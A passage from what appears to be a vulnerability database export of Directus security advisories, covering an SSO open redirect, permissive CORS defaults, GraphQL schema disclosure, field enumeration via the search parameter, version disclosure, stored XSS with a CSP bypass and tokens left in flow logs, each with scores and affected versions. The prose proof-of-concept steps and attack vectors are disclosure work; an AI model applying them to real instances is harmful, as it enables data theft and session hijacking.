This is particularly impactful in SSO authentication flows (e.g., OAuth2 providers), where an attacker can craft a login URL that redirects the victim to an attacker-controlled site immediately after successful authentication, without any visible indication during the login process.

### Impact

- **Phishing:** Users may be silently redirected to attacker-controlled sites impersonating legitimate services after authenticating.
- **Credential/token theft:** The redirect can be chained to capture OAuth tokens or authorization codes.
- **Trust erosion:** Users lose confidence in the application after being redirected to unexpected domains post-login.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-35410
reference_id
reference_type
scores
0
value 0.00016
scoring_system epss
scoring_elements 0.03684
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-35410
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/security/advisories/GHSA-cf45-hxwj-4cfj
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-07T14:47:25Z/
url https://github.com/directus/directus/security/advisories/GHSA-cf45-hxwj-4cfj
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-35410
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-35410
4
reference_url https://github.com/advisories/GHSA-cf45-hxwj-4cfj
reference_id GHSA-cf45-hxwj-4cfj
reference_type
scores
url https://github.com/advisories/GHSA-cf45-hxwj-4cfj
fixed_packages
0
url pkg:npm/directus@11.16.1
purl pkg:npm/directus@11.16.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6ggp-xn4c-gya3
1
vulnerability VCID-6mr6-u3vk-sygm
2
vulnerability VCID-bwww-3wep-2ydf
3
vulnerability VCID-rq5y-ee4h-gkff
4
vulnerability VCID-trbn-m8sj-ffa4
5
vulnerability VCID-ycj2-8tqq-jyag
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.16.1
aliases CVE-2026-35410, GHSA-cf45-hxwj-4cfj
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-exwx-sqry-c3gc
23
url VCID-h4k8-g63s-pqhn
vulnerability_id VCID-h4k8-g63s-pqhn
summary
Insecure default value for CORS configuration
### Impact

The default value for the `CORS_ENABLED` and `CORS_ORIGIN` configuration was set to be very permissive by default. This could lead to unauthorized access in uncontrolled environments when the configuration hasn't been changed.

### Patches

The default values for CORS have been changed in https://github.com/directus/directus/pull/12022 which is released under 9.7.0

### Workarounds

Configure the CORS environment variables to match your project's usage, rather than leaving them at the (permissive) defaults.

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [directus/directus](https://github.com/directus/directus)
* Email us at [security@directus.io](mailto:security@directus.io)
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2022-26969
reference_id
reference_type
scores
0
value 0.00909
scoring_system epss
scoring_elements 0.76144
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2022-26969
1
reference_url https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
reference_id
reference_type
scores
0
value 9.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:T/P:M/B:A/M:M/D:T/2025-04-14T14:53:09Z/
url https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
2
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 9.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
3
reference_url https://github.com/directus/directus/blob/8daed9c41baeaf1d08c1e292bf9f0dcef65e48fb/docs/configuration/config-options.md
reference_id
reference_type
scores
0
value 9.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:T/P:M/B:A/M:M/D:T/2025-04-14T14:53:09Z/
url https://github.com/directus/directus/blob/8daed9c41baeaf1d08c1e292bf9f0dcef65e48fb/docs/configuration/config-options.md
4
reference_url https://github.com/directus/directus/pull/12022
reference_id
reference_type
scores
0
value 9.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:T/P:M/B:A/M:M/D:T/2025-04-14T14:53:09Z/
url https://github.com/directus/directus/pull/12022
5
reference_url https://github.com/directus/directus/releases/tag/v9.7.0
reference_id
reference_type
scores
0
value 9.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:T/P:M/B:A/M:M/D:T/2025-04-14T14:53:09Z/
url https://github.com/directus/directus/releases/tag/v9.7.0
6
reference_url https://github.com/directus/directus/security/advisories/GHSA-g27j-74fp-xfpr
reference_id
reference_type
scores
0
value 9.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus/security/advisories/GHSA-g27j-74fp-xfpr
7
reference_url https://nvd.nist.gov/vuln/detail/CVE-2022-26969
reference_id
reference_type
scores
0
value 9.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2022-26969
8
reference_url https://security.snyk.io/vuln/SNYK-JS-DIRECTUS-2441822
reference_id
reference_type
scores
0
value 9.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:T/P:M/B:A/M:M/D:T/2025-04-14T14:53:09Z/
url https://security.snyk.io/vuln/SNYK-JS-DIRECTUS-2441822
9
reference_url https://github.com/advisories/GHSA-g27j-74fp-xfpr
reference_id GHSA-g27j-74fp-xfpr
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-g27j-74fp-xfpr
fixed_packages
0
url pkg:npm/directus@9.7.0
purl pkg:npm/directus@9.7.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-28xp-kp38-8kem
3
vulnerability VCID-2hc2-7tsc-nka1
4
vulnerability VCID-2uz6-wjn7-kug4
5
vulnerability VCID-4aek-ts88-rqaj
6
vulnerability VCID-4uk6-xe3f-h3h9
7
vulnerability VCID-4v6n-unvz-wff3
8
vulnerability VCID-4x1w-8bx4-rqf9
9
vulnerability VCID-547q-d837-dfcz
10
vulnerability VCID-662k-n18g-mybg
11
vulnerability VCID-6ggp-xn4c-gya3
12
vulnerability VCID-6mr6-u3vk-sygm
13
vulnerability VCID-6z4j-ev48-67hq
14
vulnerability VCID-7w4r-sr7k-77g1
15
vulnerability VCID-88w3-rw8u-rqea
16
vulnerability VCID-a75s-xyu6-wbcw
17
vulnerability VCID-bjb3-z2we-rqab
18
vulnerability VCID-bwww-3wep-2ydf
19
vulnerability VCID-djhf-pqnt-6qcp
20
vulnerability VCID-dsta-c12f-fuff
21
vulnerability VCID-dy98-51bk-p3fk
22
vulnerability VCID-exwx-sqry-c3gc
23
vulnerability VCID-hv63-3zhy-dyae
24
vulnerability VCID-j711-a6gm-b7hr
25
vulnerability VCID-km7s-b9cy-57c3
26
vulnerability VCID-mk5k-pf2s-mfe9
27
vulnerability VCID-n7g1-hmy7-j7g9
28
vulnerability VCID-n9br-39bb-7ugt
29
vulnerability VCID-q63x-ba8r-tfc1
30
vulnerability VCID-rq5y-ee4h-gkff
31
vulnerability VCID-sxfr-pmr2-x7e7
32
vulnerability VCID-szpk-4g6r-f3e6
33
vulnerability VCID-trbn-m8sj-ffa4
34
vulnerability VCID-u5pc-6e92-zyev
35
vulnerability VCID-vt3b-2dr3-aka2
36
vulnerability VCID-vthx-5g35-zfcp
37
vulnerability VCID-wcaq-4zzz-qfb7
38
vulnerability VCID-ycj2-8tqq-jyag
39
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@9.7.0
aliases CVE-2022-26969, GHSA-g27j-74fp-xfpr, GMS-2022-677
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-h4k8-g63s-pqhn
24
url VCID-hv63-3zhy-dyae
vulnerability_id VCID-hv63-3zhy-dyae
summary
Directus: GraphQL Schema SDL Disclosure Setting
## Summary

When `GRAPHQL_INTROSPECTION=false` is configured, Directus correctly blocks standard GraphQL introspection queries (`__schema`, `__type`). However, the `server_specs_graphql` resolver on the `/graphql/system` endpoint returns an equivalent SDL representation of the schema and was not subject to the same restriction. This allowed the introspection control to be bypassed, exposing schema structure (collection names, field names, types, and relationships) to unauthenticated users at the public permission level, and to authenticated users at their permitted permission level.

## Impact

Administrators who set `GRAPHQL_INTROSPECTION=false` to hide schema structure from clients would have had a false sense of security, as equivalent schema information remained accessible via the SDL endpoint without authentication.

## Credit

This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-35413
reference_id
reference_type
scores
0
value 0.00018
scoring_system epss
scoring_elements 0.05015
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-35413
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/security/advisories/GHSA-wxwm-3fxv-mrvx
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-08T14:05:28Z/
url https://github.com/directus/directus/security/advisories/GHSA-wxwm-3fxv-mrvx
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-35413
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-35413
4
reference_url https://github.com/advisories/GHSA-wxwm-3fxv-mrvx
reference_id GHSA-wxwm-3fxv-mrvx
reference_type
scores
url https://github.com/advisories/GHSA-wxwm-3fxv-mrvx
fixed_packages
0
url pkg:npm/directus@11.16.1
purl pkg:npm/directus@11.16.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6ggp-xn4c-gya3
1
vulnerability VCID-6mr6-u3vk-sygm
2
vulnerability VCID-bwww-3wep-2ydf
3
vulnerability VCID-rq5y-ee4h-gkff
4
vulnerability VCID-trbn-m8sj-ffa4
5
vulnerability VCID-ycj2-8tqq-jyag
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.16.1
aliases CVE-2026-35413, GHSA-wxwm-3fxv-mrvx
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-hv63-3zhy-dyae
25
url VCID-j711-a6gm-b7hr
vulnerability_id VCID-j711-a6gm-b7hr
summary
Directus `search` query parameter allows enumeration of non permitted fields
### Summary

The `search` query parameter allows users with access to a collection to filter items based on fields they do not have permission to view. This allows the enumeration of unknown field contents.

### Details

The searchable columns (numbers & strings) are not checked against permissions when injecting the `where` clauses for applying the search query. This leads to the possibility of enumerating those un-permitted fields.

### PoC

- Create a collection with a string / numeric field, configure the permissions for the public role to not include the field created
- Create items with identifiable content in the not permitted field
- Query the collection and include the field content in the `search` parameter
- See that results are returned, even tho the public user does not have permission to view the field content

### Impact

This vulnerability is a very high impact, as for example Directus instances which allow public read access to the user avatar are vulnerable to have the email addresses, password hashes and potentially admin level access tokens extracted. The admin token and password hash extraction have a caveat, as string fields are only searched with a lower cased version of the search query.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-30352
reference_id
reference_type
scores
0
value 0.00144
scoring_system epss
scoring_elements 0.34397
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-30352
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/ac5a9964d9926f20dc063a74cb417dc7bbad676d
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-03-27T15:14:43Z/
url https://github.com/directus/directus/commit/ac5a9964d9926f20dc063a74cb417dc7bbad676d
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-7wq3-jr35-275c
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-03-27T15:14:43Z/
url https://github.com/directus/directus/security/advisories/GHSA-7wq3-jr35-275c
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-30352
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-30352
5
reference_url https://github.com/advisories/GHSA-7wq3-jr35-275c
reference_id GHSA-7wq3-jr35-275c
reference_type
scores
url https://github.com/advisories/GHSA-7wq3-jr35-275c
fixed_packages
0
url pkg:npm/directus@11.5.0
purl pkg:npm/directus@11.5.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-2uz6-wjn7-kug4
3
vulnerability VCID-4x1w-8bx4-rqf9
4
vulnerability VCID-662k-n18g-mybg
5
vulnerability VCID-6ggp-xn4c-gya3
6
vulnerability VCID-6mr6-u3vk-sygm
7
vulnerability VCID-88w3-rw8u-rqea
8
vulnerability VCID-bwww-3wep-2ydf
9
vulnerability VCID-dy98-51bk-p3fk
10
vulnerability VCID-exwx-sqry-c3gc
11
vulnerability VCID-hv63-3zhy-dyae
12
vulnerability VCID-kugb-dwxd-6fhe
13
vulnerability VCID-mk5k-pf2s-mfe9
14
vulnerability VCID-n7g1-hmy7-j7g9
15
vulnerability VCID-n9br-39bb-7ugt
16
vulnerability VCID-rq5y-ee4h-gkff
17
vulnerability VCID-trbn-m8sj-ffa4
18
vulnerability VCID-vt3b-2dr3-aka2
19
vulnerability VCID-wcaq-4zzz-qfb7
20
vulnerability VCID-ycj2-8tqq-jyag
21
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.5.0
aliases CVE-2025-30352, GHSA-7wq3-jr35-275c
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-j711-a6gm-b7hr
26
url VCID-km7s-b9cy-57c3
vulnerability_id VCID-km7s-b9cy-57c3
summary
Directus version number disclosure
### Impact

Currently the exact Directus version number is being shipped in compiled JS bundles which are accessible without authentication. With this information a malicious attacker can trivially look for known vulnerabilities in Directus core or any of its shipped dependencies in that specific running version.

### Patches

The problem has been resolved in versions 10.8.3 and newer

### Workarounds

None
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-27296
reference_id
reference_type
scores
0
value 0.00437
scoring_system epss
scoring_elements 0.6336
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-27296
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/a5a1c26ac48795ed3212a4c51b9523588aff4fa0
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2024-03-01T19:28:33Z/
url https://github.com/directus/directus/commit/a5a1c26ac48795ed3212a4c51b9523588aff4fa0
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-5mhg-wv8w-p59j
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2024-03-01T19:28:33Z/
url https://github.com/directus/directus/security/advisories/GHSA-5mhg-wv8w-p59j
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-27296
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-27296
5
reference_url https://github.com/advisories/GHSA-5mhg-wv8w-p59j
reference_id GHSA-5mhg-wv8w-p59j
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-5mhg-wv8w-p59j
fixed_packages
0
url pkg:npm/directus@10.8.3
purl pkg:npm/directus@10.8.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-28xp-kp38-8kem
3
vulnerability VCID-2hc2-7tsc-nka1
4
vulnerability VCID-2hv8-fgdr-hugf
5
vulnerability VCID-2uz6-wjn7-kug4
6
vulnerability VCID-4aek-ts88-rqaj
7
vulnerability VCID-4v6n-unvz-wff3
8
vulnerability VCID-4x1w-8bx4-rqf9
9
vulnerability VCID-547q-d837-dfcz
10
vulnerability VCID-662k-n18g-mybg
11
vulnerability VCID-6ggp-xn4c-gya3
12
vulnerability VCID-6mr6-u3vk-sygm
13
vulnerability VCID-7w4r-sr7k-77g1
14
vulnerability VCID-88w3-rw8u-rqea
15
vulnerability VCID-95tn-g8wd-63hq
16
vulnerability VCID-a75s-xyu6-wbcw
17
vulnerability VCID-a9tr-a8r5-57en
18
vulnerability VCID-bwww-3wep-2ydf
19
vulnerability VCID-djhf-pqnt-6qcp
20
vulnerability VCID-dy98-51bk-p3fk
21
vulnerability VCID-exwx-sqry-c3gc
22
vulnerability VCID-hv63-3zhy-dyae
23
vulnerability VCID-j711-a6gm-b7hr
24
vulnerability VCID-kugb-dwxd-6fhe
25
vulnerability VCID-mk5k-pf2s-mfe9
26
vulnerability VCID-n7g1-hmy7-j7g9
27
vulnerability VCID-n9br-39bb-7ugt
28
vulnerability VCID-rq5y-ee4h-gkff
29
vulnerability VCID-szpk-4g6r-f3e6
30
vulnerability VCID-trbn-m8sj-ffa4
31
vulnerability VCID-u5pc-6e92-zyev
32
vulnerability VCID-uft7-5e9d-dqh8
33
vulnerability VCID-vt3b-2dr3-aka2
34
vulnerability VCID-wcaq-4zzz-qfb7
35
vulnerability VCID-ycj2-8tqq-jyag
36
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@10.8.3
aliases CVE-2024-27296, GHSA-5mhg-wv8w-p59j
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-km7s-b9cy-57c3
27
url VCID-mk5k-pf2s-mfe9
vulnerability_id VCID-mk5k-pf2s-mfe9
summary
Directus is Vulnerable to Stored Cross-site Scripting
### Summary

A stored cross-site scripting (XSS) vulnerability exists that allows users with `upload files` and `edit item` permissions to inject malicious JavaScript through the Block Editor interface. Attackers can bypass Content Security Policy (CSP) restrictions by combining file uploads with iframe srcdoc attributes, resulting in persistent XSS execution.

### Details

The vulnerability arises from insufficient sanitization in the Block Editor interface when processing JSON content containing HTML elements. The attack requires two permissions:
- `upload files` - To upload malicious JavaScript files
- `edit item` - To create or modify content with the Block Editor

**Attack Vector:**

1. **JavaScript File Upload**: Attackers upload a malicious JavaScript file via the files endpoint, obtaining a file ID accessible through the assets directory

2. **Block Editor Exploitation**: Using a JSON field with Block Editor interface, attackers inject raw HTML containing an iframe with srcdoc attribute that references the uploaded file

3. **CSP Bypass**: The iframe srcdoc technique circumvents existing CSP protections by creating a new document context that loads the uploaded script

The payload is injected through direct API manipulation (PATCH request) to bypass client-side validation, targeting the Block Editor's paragraph data structure within the JSON content field.

### Impact

This vulnerability enables:
- **Persistent XSS** - Malicious scripts execute whenever affected content is viewed
- **Session hijacking** - Access to authentication tokens and cookies of users viewing the content
- **Administrative compromise** - If administrators view infected content, their elevated privileges can be exploited
- **CSP bypass** - Demonstrates ineffective security controls, potentially affecting other protections
- **Data exfiltration** - Ability to steal sensitive information displayed in the application
- **Phishing attacks** - Injection of convincing fake login forms or malicious redirects
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-64747
reference_id
reference_type
scores
0
value 0.00036
scoring_system epss
scoring_elements 0.11205
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-64747
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 5.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/d23525317f0780f04aa1fe7a99171a358e43cb2e
reference_id
reference_type
scores
0
value 5.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-13T21:33:34Z/
url https://github.com/directus/directus/commit/d23525317f0780f04aa1fe7a99171a358e43cb2e
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-vv2v-pw69-8crf
reference_id
reference_type
scores
0
value 5.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-13T21:33:34Z/
url https://github.com/directus/directus/security/advisories/GHSA-vv2v-pw69-8crf
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-64747
reference_id
reference_type
scores
0
value 5.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-64747
5
reference_url https://github.com/advisories/GHSA-vv2v-pw69-8crf
reference_id GHSA-vv2v-pw69-8crf
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-vv2v-pw69-8crf
fixed_packages
0
url pkg:npm/directus@11.13.0
purl pkg:npm/directus@11.13.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1xcr-rv9q-9kaz
1
vulnerability VCID-2uz6-wjn7-kug4
2
vulnerability VCID-6ggp-xn4c-gya3
3
vulnerability VCID-6mr6-u3vk-sygm
4
vulnerability VCID-bwww-3wep-2ydf
5
vulnerability VCID-exwx-sqry-c3gc
6
vulnerability VCID-hv63-3zhy-dyae
7
vulnerability VCID-n9br-39bb-7ugt
8
vulnerability VCID-rq5y-ee4h-gkff
9
vulnerability VCID-trbn-m8sj-ffa4
10
vulnerability VCID-wcaq-4zzz-qfb7
11
vulnerability VCID-ycj2-8tqq-jyag
12
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.13.0
aliases CVE-2025-64747, GHSA-vv2v-pw69-8crf
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-mk5k-pf2s-mfe9
28
url VCID-n7g1-hmy7-j7g9
vulnerability_id VCID-n7g1-hmy7-j7g9
summary
Directus tokens are not redacted in flow logs, exposing session credentials to all admin
### Summary

When using Directus Flows with the WebHook trigger, all incoming request details are logged including security sensitive data like access and refresh tokens in cookies.

### Impact

Malicious admins with access to the logs can hijack the user sessions within the token expiration time of them triggering the Flow.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-53886
reference_id
reference_type
scores
0
value 0.0031
scoring_system epss
scoring_elements 0.54419
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-53886
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 4.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/859f664f56fb50401c407b095889cea38ff580e5
reference_id
reference_type
scores
0
value 4.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus/commit/859f664f56fb50401c407b095889cea38ff580e5
3
reference_url https://github.com/directus/directus/releases/tag/v11.9.0
reference_id
reference_type
scores
0
value 4.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:41:05Z/
url https://github.com/directus/directus/releases/tag/v11.9.0
4
reference_url https://github.com/directus/directus/security/advisories/GHSA-f24x-rm6g-3w5v
reference_id
reference_type
scores
0
value 4.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:41:05Z/
url https://github.com/directus/directus/security/advisories/GHSA-f24x-rm6g-3w5v
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-53886
reference_id
reference_type
scores
0
value 4.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-53886
6
reference_url https://github.com/directus/directus/pull/25354
reference_id 25354
reference_type
scores
0
value 4.5
scoring_system cvssv3.1
